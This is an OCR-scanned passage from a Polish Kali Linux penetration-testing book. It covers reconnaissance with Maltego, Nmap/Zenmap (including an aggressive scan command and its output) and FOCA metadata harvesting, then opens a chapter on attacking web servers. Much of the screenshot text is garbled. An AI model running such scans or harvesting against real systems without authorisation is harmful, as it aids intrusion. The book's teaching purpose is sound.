Pod nazwami większości opcji znajdziesz krótki opis ich zastosowania, a nazwy pozostałych opcji są dosyć oczywiste i nie wymagają dodatkowych objaśnień. Pakiet Maltego jest wyko rzystywany głównie do zbierania informacji, które następnie mogą być wykorzystywane do różnych celów (jednym z nich mogą być przygotowania do przeprowadzenia ataku z wykorzy staniem metod socjotechnicznych). x
start a Machine
S te p s
R u n M a c h in e - C h o o s e m a c h in e ( 1 o f 2 )
<
] |
W ert > ~ |
F in ish ~ | J
C
Nmap Nmap (ang. N etw ork M apper) to popularne narzędzie przeznaczone do skanowania portów i wykrywania usług w sieciach komputerowych. Nmap posiada rozbudowane mechanizmy pozwalające na wykrywanie typów systemów operacyjnych oraz identyfikację usług i aplikacji działających na hostach sieciowych. Jest to jed en z najczęściej używanych i najefektywniej szych skanerów sieciowych, co jednak jednocześnie powoduje, że je st dobrze znany i łatwy do wykrycia. Z tego powodu zalecamy, aby korzystać z tego programu tylko w wyjątkowych sytuacjach, tak aby zminimalizować ryzyko wykrycia. Więcej szczegółowych informacji na temat programu Nmap znajdziesz na stronie internetowej http://n m ap.org/.
76
R o z d z ia ł 2. • R e k o n e s a n s
|
Oprócz samego skanera Nmap w systemie Kali Linux możesz znaleźć pakiet Zenmap, który jest oficjalnie przyjętym graficznym interfejsem użytkownika (GUI — ang. G rap h ical User Interface) dla pakietu Nmap (sam Nmap działa wyłącznie w trybie tekstowym). Istnieje oczywiście grono najbardziej zatwardziałych użytkowników, którzy twierdzą, że prawdziwi, doświadczeni pentesterzy używają wyłącznie konsolowej wersji skanera Nmap, ale trzeba przyznać, że w ciągu ostatnich lat Zenmap przeszedł długą drogę i obecnie potrafi obsłużyć niemal wszystkie, nawet najbardziej zaawansowane funkcje skanera Nmap. Co więcej, Zenmap oferuje nawet swoje wła sne, dodatkowe funkcje, których próżno by szukać w oryginalnej, konsolowej wersji skanera, takie jak tworzenie graficznej reprezentacji skanu, która może później być z powodzeniem wykorzystywana podczas tworzenia dokumentacji i przygotowywania raportu końcowego. Aby uruchomić pakiet Zenmap, z menu głównego wybierz opcję P rogram y, przejdź do grupy K ali Linux i następnie wybierz polecenie Inform ation G athering/D N S Analysis/Zenm ap. Scan
Na ekranie pojawi się główne okno programu. W prawej górnej części okna znajduje się lista rozwijana P rofile, pozwalająca na wybranie jednego z dostępnych rodzajów skanowania. W y gląd listy został przedstawiony na kolejnym rysunku. Intense scan Intense scan Intense scan plus UDP Intense scan, all TC P ports Intense scan, no ping Ping scan Quick scan Quick scan plus Quick traceroute Regular scan Slow comprehensive scan
77
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Pierwszym krokiem po uruchomieniu skanera jest utworzenie nowego profilu, który w pakiecie Zenmap pozwala na zdefiniowanie rodzaju przeprowadzanego skanu oraz wybranie odpowiednich opcji. Aby to zrobić, z menu głównego wybierz polecenie Profile i następnie wybierz polecenie N ew P rofile o r C om m and, jak przedstawiono na rysunku zamieszczonym poniżej: Zenm ap S can
T o o ls
T a r g e t:
|
C o m m a n d:
H o s ts
OS
P ro file
H e lp
N e w .P ro file o r C o m m a n d
C t r l+ P
E d it S e le c t e d P r o file
C t r l+ E
I n te n s e s c a r
jn m a p - T 4 - A - v
S e rv ic e s
N m ap O u tp u t
P o r ts / H o s ts I T o p o L o g y | H o s t D e ta ils [ S can s
H ost
Po wybraniu polecenia N ew Profile or Com m and pojawi się okno edytora profili. W polu Profile n am e wpisz nazwę tworzonego profilu (najlepiej użyć jakiejś opisowej nazwy, na przykład M ój p ierw szy skan, ale w praktyce nazwa oczywiście może być zupełnie dowolna). Opcjonalnie możesz uzupełnić utworzony profil opisem jego przeznaczenia (pole D escrip tion). W trakcie pracy będziesz zapewne tworzył wiele różnych profili skanowania i będziesz przeprowadzał wiele skanów. Zupełnie naturalnym odruchem może być kasowanie profilu po zakończeniu skanowania. Mamy jednak dla Ciebie małą poradę — profile nie zajmują praktycznie żadnego dodatkowego miejsca, a są bardzo użyteczne, kiedy przychodzi wykonać kolejny skan na podobnych czy wręcz identycznych ustawieniach. Zdecydowanie dobrą i rekomendowaną praktyką jest nadawanie profilom skanowania rozbudowanych, opisowych nazw i wypracowanie swojej własnej, dostosowanej do potrzeb metodologii ich nadawania. W naszym przypadku nazwa profilu zawsze rozpoczyna się od bieżącej daty i czasu, potem dodajemy nazwę miejsca, w którym się znajdujemy, lokalizację sieciową celu oraz nazwę klienta, na którego zlecenie przeprowa dzamy taki skan.
P r o file | S can | P ing | S c r ip tin g
T a rg e t
S o u rc e | O t h e r | T im in g
P r o f ile I n fo r m a tio n P r o file n am e
| M y F ir s t S can
D e s c rip tio n
3 - 2 0 - 1 3 a t 1 1 :0 0 a m C D T D rC h a o s n e t w o r k S can. T a r g e t h o s ts 1 0 . 0 .1 . 0 / 2 4 |
Jeżeli zakończyłeś już nadawanie nazwy i tworzenie opisu profilu skanowania, przejdź na kartę Scan. W polu Targets wpisz adresy hostów i sieci, których skanowanie chcesz przeprowadzić. W razie potrzeby możesz tutaj wpisać całe zakresy adresów IP, zarówno w formacie podstawo wym (np. 10.0.1.1-255), jak i w formacie C ID R (np. 10.0.1.1/24).
78
R o z d z ia ł 2. • R e k o n e s a n s
|
Jak zapewne zauważyłeś, domyślnie zaznaczona jest opcja -A, pozwalająca na przeprowadzenie agresywnego skanowania. Włączenie tej opcji powoduje włączenie modułu wykrywania systemu operacyjnego (opcja -O), wykrywania wersji (opcja -sV), skanowanie z użyciem skryptów (opcja -sC) oraz śledzenie ścieżki sieciowej prowadzącej do badanego hosta (opcja -tracerou te). Krótko mówiąc, użycie opcji -A powoduje automatycznie włączenie wielu opcji agresywnego skano wania, dzięki czemu nie musisz ich po kolei włączać ręcznie. Skanowanie agresywne jest uważane za metodę inwazyjną, co oznacza, że jest wykrywane przez zdecydowaną większość nawet niezbyt „rozgarniętych” urządzeń zabezpieczających sieci. Taki skan może czasami przejść niezauważony (zwłaszcza w przypadku specyficznych systemów), ale niezależnie od tego przed rozpoczęciem skanowania powinieneś zawsze upewnić się, że posiadasz pisemną zgodę właściciela systemu na przeprowadzenie skanowania i osobną zgodę na użycie opcji skanowania agresywnego. Pamiętaj, że w wielu krajach (m.in. w USA) zakończenie trzeciego etapu połączenia trójetapowego (ang. three-w ay handshake), czyli wysłanie sygnału ACK kończącego sekwencję połączenia z hostem, je st uważane za nielegalne, jeśli nie posia dasz odpowiedniego uprawnienia do połączenia z nim. Do wybrania celu naszego ataku możemy teraz użyć informacji, które pozyskaliśmy nieco wcze śniej z serwerów DNS. Zanim jednak do tego przystąpimy, przyjrzymy się kilku najczęściej używanym opcjom skanera Nmap: n m ap - T 4 -A - v 1 0 . 0 . 1 , 0 / 2 4
P ro file
S can
P ing
S c rip tin g
T a rg e t
S o u rc e
O th e r
T im in g
S c a n o p t io n s
T a r g e t s (o p tio n a l):
1 0 . 0 .1 . 0 / 2 4 |
T C P scan:
N one
o
N o n - T C P scans:
N one
o
T im in g te m p la te :
A g g re s s iv e (- T 4 )
c
0
E n a b le a ll a d v a n c e d /a g g re s s iv e o p tio n s (-A )
D
O p e r a tin g s y s te m d e t e c tio n ( - 0 )
□
V e r s io n d e t e c tio n (-s V )
D
Id le S ca n (Z o m b ie ) ( - s i)
□
F T P b o u n c e a tta c k (-b )
D
DisabLe r e v e r s e D N S r e s o lu t io n (-n )
□
IP v 6 s u p p o r t (- 6 )
Przejdź na kartę Ping i zaznacz opcję Don’t ping b efore scanning (-Pn), co spowoduje, że Nmap nie będzie wysyłał komunikatów ICMP E ch o Request do sprawdzenia, czy host jest aktywny. Jeżeli nie zaznaczysz tej opcji, Nmap będzie wysyłał takie komunikaty do wszystkich hostów i sieci zdefiniowanych w profilu skanu. Domyślnie dalszemu skanowaniu poddawane są tylko takie hosty, które są aktywne w sieci. Wybranie opcji -Pn powoduje, że Nmap będzie skanował
79
K a li L in u x . T e s ty p e n e tra c y jn e
wszystkie hosty zdefiniowane w profilu, niezależnie od tego, czy odpowiadają na próby „pingowania”. Takie rozwiązanie może co prawda znacznie wydłużyć czas skanowania, ale za to użycie opcji -Pn pozwala na skanowanie hostów w sytuacji, kiedy nadchodzące ze skanera komunikaty ICM P E ch o R equest są blokowane na poziomie zapory sieciowej lub innych urządzeń zabezpie czających środowisko celu.
Zapisz wprowadzone zmiany, klikając przycisk Save changes, znajdujący się w prawym dolnym rogu okna dialogowego edytora profilu skanowania. Po zapisaniu opcji możesz kliknąć przycisk Scan, znajdujący się w prawym górnym rogu okna, i tym samym rozpocząć proces skanowania. Zwróć uwagę, że wybrane przez Ciebie opcje zostaną wyświetlone w oknie skanowania. Scąn
Iools
Target
110.0.1.0/24
Command | Hosts OS
Profile
Help Profile
|lntense scan
Scan
I
C a nce l |
|nma p -T4 - A -v 10.0.1.0/24 Services |
Host
N m a p Output |Ports / Hosts |Topology |Host Details |Scans | n m a p -T4 - A -v St ar ti ng Nm ap 6. 25 ( ht tp :/ /n ma p. or g ) at 26 13-03*21 06:16 COT NSE: Loaded 106 scripts for scanning. NSE: Script Pre-scanning.
Spojrzenie na kartę Topology pozwoli Ci szybko zorientować się w tym, jak zakończony został Twój skan i czy po drodze do celu pakiety musiały przejść przez jakieś routery Na przykładzie zamieszczonym na następnej stronie widać, że skan nie wychodził poza obręb sieci lokalnej. Listę wykrytych hostów znajdziesz na karcie H osts.
80
R o z d z ia ł 2. • R e k o n e s a n s
Kiedy zaznaczysz jeden ze znalezionych hostów, Zenmap na karcie H ost details wyświetli szcze gółową listę odkrytych zasobów tego hosta, obejm ującą takie informacje, jak typ systemu ope racyjnego, lista aktywnych usług i wiele innych. Na następnym rysunku widać, że zaznaczo nym hostem je st tuner telewizji satelitarnej.
81
K a li L in u x . T e s ty p e n e tra c y jn e
Jeżeli spojrzysz na okno wyników skanowania, zobaczysz, że obejm ują one nie tylko numery otwartych portów na poszczególnych hostach, ale również listę działających na nich usług i aplikacji. Zwróć uwagę, że Nmap potrafi wykryć, że na przykład na porcie 80 działa serwer IIS w wersji 5.0, odgrywający rolę serwera WWW. W wynikach skanu znajdziesz również informacje o adresie IP tego serwera, systemie operacyjnym, pod którego kontrolą działa ten serwer, oraz listę udostępnianych przez niego aplikacji internetowych. Nie trzeba dodawać, że dla pentestera przygotowującego się do przeprowadzenia ataku takie informacje mają ogromną wartość. Scan
T o o ls
T arge t
£ r o file
H e lp
w
11 0 .0 .1 .0 /2 4
C om m and H o s ts
I P ro file :
[in te n s e i
* I
Scan)
|n m a p - T 4 - A - v 1 0 .0 .1 .0 /2 4
1 Services
Service
w \
D ra go nID S C on s ole a ir p o r t-a d m m da ap d o m a in h p -g s g
N m a p O u tp u t | Ports / H o s ts | T o p o lo g y | H o s t D e ta ils | Scans | n m a p - T 4 - A - v 1 0 .0 .1 .0 /2 4
▼ |
U p tim e g u e s s : 1 3 .3 1 9 d a y s ( s i n c e T h u M ar 7 1 5 :4 8 :2 5 26 1 3 ) N e tw o rk O i s t a n c e : 1 h o p TCP S e q u e n c e P r e d i c t i o n : D i f f i c u l t y * 2 6 6 (G oo d l u c k ! ) IP ID S e q u e n c e G e n e r a t i o n : R a n d o a iz e d TRACER0UTE HOP RTT ADDRESS 1 5 .1 2 as 1 6 .6 .1 .1 6 4
h t tp je td ire c t n e tb io s - s s n p rin te r qs c it s p s n e t- s e n s o r - m g m t ssh s u n -a n s w e rb o o k tc p w rapped unknow n
N aap s c a n r e p o r t f o r 1 6 . 6 . 1 . 1 6 7 H o s t i s up (6 .6 6 6 3 s la t e n c y ) . N o t sho w n: 984 c lo s e d p o r t s PORT STATE SERVICE VERSION 8 6 /tc p open h ttp HP O f f i c e j e t P r o 8 6 0 6 p r i n t e r h t t p c o n f i g ( S e r i a l CN27KBWHX605KC) h t t p f a v i c o n : U nkn ow n f a v i c o n M 05: A1403B AA6A6746D 1A 77AFB1E10C 82F8F h t t p - a e t h o d s : GET h t t p - t i t l e : S i t e d o e s n 't h a v e a t i t l e ( t e x t / h t a l ; c h a r s e t - U T F - 8 ) . 3 9 /tc p open tc p w r a p p e d 4 4 3 /tc p open s s l/h t tp HP O f f i c e j e t P r o 8 6 0 0 p r i n t e r h t t p c o n f i g ( S e r i a l CN27KBWHX605KC) | h t t p - f a v i c o n : U nkn ow n f a v i c o n NOS: A1403B AA6A674601A 77AF B1E1D C 82F 6F | h t t p - a e t h o d s : GET I h t t p - t i t l e : S i t e d o e s n 't h a v e a t i t l e ( t e x t / h t a l ; c h a rs e t« U T F -8 ). I s s l - c e r t : S u b j e c t : c o m a o n N a a e » H P C 7 7 6 1 D /o rg a n iz a tio n N a m e » H P / s ta te O r P r o v in c e N a m e - W a s h in g to n /c o u n tr y N a a e - U S | I s s u e r : c o a a o n N a a e - H P C 7 7 6 1 D /o r g a n iz a tio n N a a e - H P /s t a te 0 r P r o v in c e N a a e - W a s h in g t o n / c o u n try N a a e -U S P u b lic Key ty p e : rs a P u b l i c K e y b i t s : 16 24 N o t v a l i d b e fo r e : 2 6 1 2 - 6 8 -6 3 1 1 4 :3 9 :2 1 * 6 6 :6 6 N ot v a lid a f t e r : 2 6 3 2 -6 7 -2 9 T 1 4 :3 9 :2 1 * 6 6 :6 6 H 0S ; c a 9 e 6 d e 8 7 6 81 b c b e a 8 7 b a e f a 2 7 a 6 e l 6 d S H A -1 : 9 1 e S e e 6 a S98S c 7 3 9 c 9 S 6 6 4 3 7 S 66a 5 2 5 7 f8 9 6 c 5 c 7 u j a»«», i n n m i a t i i . i a . a c . aa . aa . CkAt.Ci. 1«>«1 »<•.
Teraz już wiesz, że możesz skoncentrować swoje wysiłki na systemie odgrywającym rolę ser wera WWW, ponieważ port 80 jest tam otwarty. Użycie pakietu Zenmap to najlepszy sposób na przetwarzanie wyników działania skanera Nmap. Zenmap posiada rozbudowany interfejs graficzny, który pozwala zarówno na wyświe tlanie i przeglądanie wyników skanu, jak i eksportowanie ich do innych formatów, takich jak pliki tekstowe czy skoroszyty programu Microsoft Excel. Istnieje całkiem sporo sposobów wyświetlania, przeglądania i zapisywania wyników działania programu Nmap (na przykład autorzy tej książki mimo wszystko preferują korzystanie ze sta rej, dobrej wersji konsolowej). W tym rozdziale zdecydowaliśmy się jednak na przedstawienie rozwiązania wykorzystującego pakiet Zenmap, ponieważ je st to metoda niezwykle popularna, przywoływana w wielu różnych źródłach opisujących metodologię przeprowadzania testów penetracyjnych i pozwalająca na łatwe eksportowanie wyników do innych programów.
82
R o z d z ia ł 2. • R e k o n e s a n s
|
Nmap Output |Ports / Hosts |Topology |Host Details |Scans | nmap -T 4 -A - v 10.0.1.0/24 Initiating SYN Stealth Scan at 19:S8 Scanning 5 hosts [1000 ports/host] Discovered open port 8888/tcp on 1 9 . 0 . 1 . 1 0 4 Discovered open port 8080/tcp on 1 9 . 0 . 1 . 1 9 7 Discovered open port 445/tcp on 1 9 . 9 . 1 . 1 0 7 Discovered open port 53/tcp on 1 9 . 9 . 1 . 1 0 3 Discovered open port 22/tcp on 1 0 . 9 . 1 . 1 0 3 Discovered open port 80/tcp on 1 0 . 9 . 1 . 1 0 3 Discovered open port 80/tcp on 1 9 . 9 . 1 . 1 0 7 Discovered open port 443/tcp on 1 9 . 9 . 1 . 1 0 7 Discovered open port 80/tcp on 1 0 . 9 . 1 . 1 0 4 Discovered open port 443/tcp on 1 9 . 9 . 1 . 1 0 4 Discovered open port 139/tcp on 1 9 . 9 . 1 . 1 0 7 Discovered open port S3/tcp on 1 0 . 9 . 1 . 1 Discovered open port 9100/tcp on 1 9 . 0 . 1 . 1 9 7 Discovered open port 631/tcp on 1 9 . 9 . 1 . 1 0 7 Discovered open port 9290/tcp on 1 9 . 0 . 1 . 1 9 7 Discovered open port 9111/tcp on 1 0 . 0 . 1 . 1 0 7 Discovered open port 6839/tcp on 1 9 . 0 . 1 . 1 9 7 Discovered open port 9110/tcp on 1 9 . 0 . 1 . 1 9 7 Discovered open port 9102/tcp on 1 9 . 0 . 1 . 1 0 7 Discovered open port 9220/tcp on 1 9 . 0 . 1 . 1 9 7 Discovered open port 515/tcp on 1 9 . 9 . 1 . 1 0 7 Discovered open port 9101/tcp on 1 9 . 0 . 1 . 1 0 7 Discovered open port 787/tcp on 1 0 . 9 . 1 . 1 0 4 Discovered open port 7435/tcp on 1 9 . 0 . 1 . 1 0 7 Completed SYN Stealth Scan against 1 0 . 0 . 1 . 1 0 4 in 1.27s ( 4 hosts left) Completed SYN Stealth Scan against 1 9 . 0 . 1 . 1 9 7 in 1.27s (3 hosts left) Discovered open port 5009/tcp on 1 9 . 0 . 1 . 1
Na zakończenie warto jeszcze dodać, że pakiet Zenmap posiada mechanizmy pozwalające na eksportowanie wyników działania (lub ich wybranych części) w postaci plików CSV lub plików graficznych, co z pewnością docenisz podczas tworzenia raportu końcowego z przeprowadzo nego testu. N m a p Output |Ports / H o n s Topolowy j Host Oetails |Seans | Ho n s Viewer
^Fisheye
( Controls
Q Save Graphic
FOCA — wyszukiwanie i analiza metadanych Czy wiesz, że za każdym razem, kiedy tworzysz pliki, takie jak prezentacja w programie Microsoft PowerPoint, dokument programu M icrosoft Word czy choćby dokumenty w forma cie PDF, to oprócz treści zapisywany w nich jest również szereg tzw. metadanych? Czym zatem są owe tajemniczo brzmiące metadane? Otóż metadane to po prostu dane o da nych. Inaczej mówiąc, są to dane opisujące inne zestawy danych, obiekty i zasoby, obejm ują ce wiele różnego rodzaju informacji, jak chociażby sposoby formatowania, daty utworzenia dokumentu, jego modyfikacji i drukowania czy dane o autorze. Metadane mogą być bardzo użyteczne dla każdego pentestera, ponieważ zwykle zawierają również informacje o systemie, w którym zostały utworzone, takie jak na przykład:
83
fl
K a li L in u x . T e s ty p e n e tra c y jn e
■
nazwy użytkowników zalogowanych w systemie,
■
nazwa i wersja oprogramowania, za którego pomocą został utworzony dany dokument,
■
łyp i wersja systemu operacyjnego, pod którego kontrolą został utworzony dokument.
FO C A (ang. Fingerprinting O rganizations w ith C o llected A rchives) to narzędzie do przepro wadzania audytów bezpieczeństwa, za którego pomocą można analizować metadane w doku mentach przechowywanych zarówno w zasobach sieciowych, jak i na dyskach lokalnych. Pakiet FOCA jest dostępny w systemie Kali Linux, aczkolwiek jego wersja może być już nieco nieaktualna. Najlepszym rozwiązaniem jest zawsze korzystanie z najnowszej wersji pakietu. Warto pamiętać, że dedykowanym środowiskiem pakietu FO C A jest system Windows, więc nie można wykluczyć, że najnowsze wersje popularnej „foki” będą dostępne już tylko dla tej platformy. Najnowszą wersję pakietu FOCA możesz pobrać z witryny internetowej http://www.elevenpaths. com flab_foca.htm l (do przetłumaczenia witryny na język polski możesz użyć witryny G oogle Translate). Po zainstalowaniu pakietu możesz go uruchomić i wykonać następujące czynności: 1. Utworzenie nowego projektu, jak przedstawiono na rysunkach poniżej.
84
R o z d z ia ł 2. • R e k o n e s a n s
j - P ro ject E
T
Tools
^
Open p ro je c t
|g
Save project
^
Save project As ..
!-j
Project configuration
1J
^
Optic
New p ro je c t ►
Close
Zalecamy przechowywanie wszystkich plików należących do danego projektu w jednym folderze. Dla każdego projektu powinieneś utworzyć osobny folder.
2. Po wpisaniu nazwy projektu i wybraniu folderu, w którym będą przechowywane jego pliki, powinieneś kliknąć przycisk C reate, jak przedstawiono na poniższym rysunku.
3. Kolejną czynnością do wykonania je st zapisanie utworzonego projektu. Po zapisaniu projektu kliknij przycisk S earch All, co pozwoli pakietowi FOCA na poszukiwanie dokumentów przy użyciu wyszukiwarek sieciowych. W razie potrzeby możesz również użyć tego pakietu do analizy plików znajdujących się na dysku lokalnym komputera.
85
|
K a li L in u x . T e s ty p e n e tra c y jn e
JE): [ ‘ Proiect
Tools
./ Options
TasUjst
^
L_ —i Nrfwnrk = 5 6 tfe rte (1)
■
3 Ś PC Joey t t/K
u
¿4 v * v t» ( n j
•— Unłocated Servers 1 »- r - Dcmar* ± O rw rs
•# Wifjjtba ń-’ B B I E Documents (1/140) B<0«te(1) B rr
®
Donate
rO
E % Tee Protect
i
About
0
P G ocde P LJing P Exolcod
¿ ace ¿co i Z rm
/dl
-i
None
V xb ¿ CO0X E îxc Z s e a y xljx E oxi S nr« H 3ÏW Z nrtr i
Downloaded docunert http7/www.wwt com/news everts/documerts/STLBJ 4 14 03 pdf Downloaded rfocuoert: N to y A v w w .w w te o m A w m s .p v o ^ ^
low
j ~ O a r h v a t e . AmMStm I
-3>Oear
fX lb ' /Vrww wwt com markets. docunents/eduS£/efyNEdbroch121/T)7pdr http /Avww wwt com/news everts docunerts S T L B J 3-5-03 pdF http7/www wwt com riews_ev«rts. doajm erts TIACSecirtyRoadshow9-10 http 7/www wv4.com/fsews_everts/documerts/TCW_ECS4 26-04p d
J
¡j--j Save log to file
4. Kliknij prawym przyciskiem myszy wybrany dokument i z menu podręcznego, które pojawi się na ekranie, wybierz polecenie D ow n load, jak przedstawiono na rysunku zamieszczonym poniżej. Custom search
Down URL * • \\psf\Home\Desktop'-.DigitalLifeDeck .pptx http://www.wwt.com/products services/documents/CC. X > http://www.wwt com/missouri/docs/eep doc X i http://www.wwt .com/products_services/documents/CC... X http://www.wwt .com/products_services/documents/Qo... X -d http://www.wwt com/products_services/documents/DC... X « https://www.wwt com/products_services/documents/C... X « http://w w w .wwt com/markets/federal/NIH1E xls X http://www.wwt com/federal/images/NIH2 xls X -L http://www.wwt .com/marketsAederal/NIH 3jds X d http://www.wwt com4ederal/images/NIH 1C jds X http://w w w .wwt com/federal/mages/NIH1B jds X -O
«
I
Size I Anali2
Download
vIB
Download All
384 KB 28.5 KB
Delete
357 KB
Delete All
6 4 5 KB 365 KB
Extract Metadata
6 6 5 KB
Extract All Metada
2 0 5 KB
Analyze Metadata
70.5 KB 104 KB
Add file
3 6 5 KB
Add folder
à
Add URLs from file
i»
Link
00 5 KB
_ iT ►
methods found (trace) on http://www.wwt.com/markets/documents/
5. Kliknij pobrany plik prawym przyciskiem myszy i wybierz z menu podręcznego opcję E xtract M etadata, jak pokazano poniżej.
86
R o z d z ia ł 2. • R e k o n e s a n s
6. Kliknij pobrany plik prawym przyciskiem myszy i wybierz z menu podręcznego opcję A nalyze M etadata, jak pokazano na kolejnym rysunku.
Na rysunku zamieszczonym poniżej widać, że nasz badany dokument był otwierany przez dwóch użytkowników.
87
K a li L in u x . T e s ty p e n e tra c y jn e
•
l e s t P ro je ct
J- Project
S 3
K X * f r e e 3.2
Tools
^¿OpDons
Q T asilist
£
About
H ] Donate
Test Project B -. m i Network ę « n O erts CD
f A ca
! Ö - j ) ServetsfD] 1 IMncÉbed Servers E -rT : Dornarts É ~ 0 Rôles
■£ Vulnerábales
s found (2 ) - Times found
Ooctmerts (1/140J É i)p tx (l) ~^z Metadata summary
Joey Mjriz t a n Lakhcn
—E l Foldera (D) Prriers (0> ^ Software 0
5
ED Errais ffl S j - Operating Systems (0) Passwords JÖ} •S Servers (0)
Tme
| Message
| Seven?/
I Source
1
1:11:34
M sfadataSearfi
low
Downloaded docunert httpZ/www wrwt com markets.'docunerts \VATTG500GscoTelepresence
1.12.02 1 1231
Metadata Search MeładataSearch Metadata Search
low
MeładataSearch MetadataSearch
low low
Downloaded docunert ftlp 7/Svwwwrwt corn erternal_ccrtert. downloads'CashrnanEquprnert Sue ... Downloaded docunert tttp /Avwrw wrwt com/newrs e ve rts documerts Y A V T Wireless MoMtyinHC Downloaded docunert fttpV/wrwwwrwA com /news_everts/docunerts/*Lj_9_0_05.ixf Downloaded docunert tttp/Avww wrwt com 'eternal content downloads CSM ars Data Sheet pet
1.13 00 1 1343 1.13 58
Jił rV m riiw in g
low low
I Ir-ArhvnÉe U é r i ¡cm*
Downloaded docunert http v /'wrwrw wrwt com ’newrs e ve rts docunenU. WWT DesktopWtuafctabo .
J
g.C Jia r
I
-1
É Save kjy lu File
C/i/MR
Na podstawie wyników działania pakietu FO C A możemy również stwierdzić, że do utworze nia tego dokumentu były używane programy M icrosoft Office for M ac oraz Adobe Photoshop; patrz kolejny rysunek.
Korzystając z pakietu FOCA, szybko przekonasz się, że metadane dokumentów publikowa nych na witrynach internetowych bardzo często mogą zawierać niewiarygodnie dużo informacji, które dla pentestera czy nawet potencjalnego napastnika mogą mieć ogromną wartość.
88
R o z d z ia ł 2. • R e k o n e s a n s
|
Pakiet FOCA pozwala użytkownikowi na zapisanie i zindeksowanie kopii wszystkich znalezio nych metadanych. Oczywiście w razie potrzeby można również zapisywać każdy typ metadanych osobno. Jak łatwo możesz sam się przekonać, daje to pentesterowi dostęp do źródła bez cennych informacji. W razie potrzeby informacje znalezione dzięki pakietowi FO C A można łatwo wyeksportować i dołączyć do raportu końcowego. FO C A pozwala również na pobiera nie z witryny celu wybranych plików, które mogą następnie służyć jako przykłady, do których odwołuje się raport końcowy.
Podsumowanie Rekonesans to zazwyczaj najbardziej krytyczny i zajmujący najwięcej czasu etap każdego te stu penetracyjnego. Praktycznie wszystkie działania, jakie pentester wykonuje w kolejnych fazach przeprowadzania testu penetracyjnego, opierają się na danych, które zostały zgromadzone podczas rekonesansu. Im większą wiedzą na temat środowiska celu będzie dysponował pentester, tym większa jest szansa na to, że jego działania nie zostaną wykryte, i tym większa jest szansa na znalezienie i wykorzystanie słabego m iejsca w zabezpieczeniach systemu. Zdecy dowanie zalecamy więc potraktowanie tego rozdziału jako lektury obowiązkowej przed roz poczęciem pracy z kolejnymi rozdziałami. W tym rozdziale skoncentrowaliśmy się na różnych sposobach gromadzenia informacji na te mat środowiska, które będzie celem naszego testu penetracyjnego. Zaprezentowaliśmy kilka najczęściej wykorzystywanych narzędzi, które są dostępne zarówno w internecie, jak i w dystry bucji Kali Linux. Po przeczytaniu tego rozdziału powinieneś być gotowy do oceny poszcze gólnych hostów działających w środowisku celu pod kątem ich przydatności jako potencjalnych obiektów ataku. W kolejnym rozdziale będziemy zajmować się zagadnieniami związanymi z wyszukiwaniem, identyfikacją i wykorzystywaniem podatności oraz luk w zabezpieczeniach aplikacji interne towych i serwerów WWW.
89
fl
K a li L in u x . T e s ty p e n e tra c y jn e
90
3
Ataki na serwery aplikacji internetowych Serwer to z definicji system komputerowy udostępniający różnego rodzaju usługi użytkowni kom i innym systemom komputerowym w sieci. Zakres świadczonych usług jest niezwykle szeroki, od różnego rodzaju usług dostępnych publicznie, takich jak na przykład gry sieciowe, aż do usług przeznaczonych dla wąskiego grona uprawnionych użytkowników, takich jak udostępnianie poufnych danych w sieciach komputerowych dużych firm i innych organizacji. W kontekście architektury klient-serwer serwer to program komputerowy, którego zadaniem jest realizacja żądań wysyłanych przez inne programy, nazywane „klientami”. Inaczej mówiąc, serwer przetwarza różnego rodzaju dane w imieniu klienta, który wysłał żądanie. Klienty mogą działać na tym samym fizycznym komputerze lub być połączone z serwerem poprzez sieć komputero wą. Serwer może na przykład udostępniać grę, z którą poszczególne klienty z całego świata łączą się zdalnie przez internet. Istnieje wiele różnych rozwiązań pozwalających na udostępnia nie usług klientom sieciowym, takich jak serwery Apache, których rola sprowadza się głównie do usług WWW, ale też i takich jak serwery B E A W ebLogic Application, które pozwalają na udostępnianie usług W W W i innych. Serwery sieciowe są zazwyczaj skonfigurowane tak, aby były w stanie znieść duże obciążenie spowodowane świadczeniem usług dla dużej liczby klientów jednocześnie. W praktyce ozna cza to, że takie serwery są wyposażone w odpowiednio wydajne procesory, dużą ilość pamięci operacyjnej oraz odpowiednio dużą przestrzeń dyskową, co z kolei powoduje, że stają się atrakcyjnymi celami dla hakerów. W iele firm i organizacji zarządza swoimi serwerami zdalnie i nie przykłada nadmiernej uwagi do codziennego monitorowania ich działania, wskutek cze go niewielkie wahania wydajności serwerów czy inne tego typu zakłócenia spowodowane przełamaniem zabezpieczeń systemu i aktywnością hakera mogą przejść zupełnie niezauwa żone. Bardzo często zdarza się, że po wykryciu włamania administrator systemu przekonuje się, że od momentu, kiedy czarny charakter po raz pierwszy uzyskał dostęp do systemu, do momentu wykrycia luki w zabezpieczeniach i jego aktywności upłynęło naprawdę wiele czasu.
fl
K a li L in u x . T e s ty p e n e tra c y jn e
W tym rozdziale skoncentrujemy się na identyfikacji i wykorzystywaniu podatności serwerów aplikacji internetowych na ataki. Rozpoczniemy od przedstawienia narzędzi dostępnych w sys temie Kali Linux, które są przeznaczone do wyszukiwania luk w zabezpieczeniach, a następnie skupimy się na narzędziach, które pozwalają na wykorzystywanie wykrytych „dziur” w syste mie do uzyskania nieautoryzowanego dostępu do serwerów aplikacji internetowych (jest to, inaczej mówiąc, tzw. wykorzystywanie exploitów ; terminu exploit1 będziemy często używać w tym rozdziale i pozostałych rozdziałach książki). Na koniec pomówimy również o innych meto dach, pozwalających na zdobycie dostępu do serwerów aplikacji internetowych.
Wyszukiwanie podatności i luk w zabezpieczeniach Ataki na serwery aplikacji internetowych polegają na wyszukiwaniu, identyfikacji i wykorzy stywaniu luk w zabezpieczeniach usług, portów komunikacyjnych i aplikacji działających na serwerze. W zasadzie dla każdego serwera aplikacji internetowych można wyznaczyć co naj mniej kilka różnych wektorów ataku. Z technicznego punktu widzenia taki serwer to po pro stu system komputerowy, działający pod kontrolą określonego systemu operacyjnego i wyposa żony w odpowiednie oprogramowanie, pozwalające na świadczenie takich czy innych usług w sieci. Każdy taki serwer posiada cały szereg otwartych portów komunikacyjnych. Każdy z wymienionych elementów składowych może posiadać luki w zabezpieczeniach, które po tencjalny napastnik może próbować wykorzystać w celu uzyskania nieautoryzowanego dostę pu do systemu i zdobycia cennych informacji. Warto zauważyć, że do tej pory wiele protoko łów komunikacyjnych wykorzystywanych do komunikacji z serwerami usług sieciowych przesyła dane w postaci niezaszyfrowanej. A zatem najwyższy czas przyjrzeć się narzędziom do wyszukiwania podatności i luk w zabez pieczeniach serwerów aplikacji internetowych, dostępnym w systemie Kali Linux.
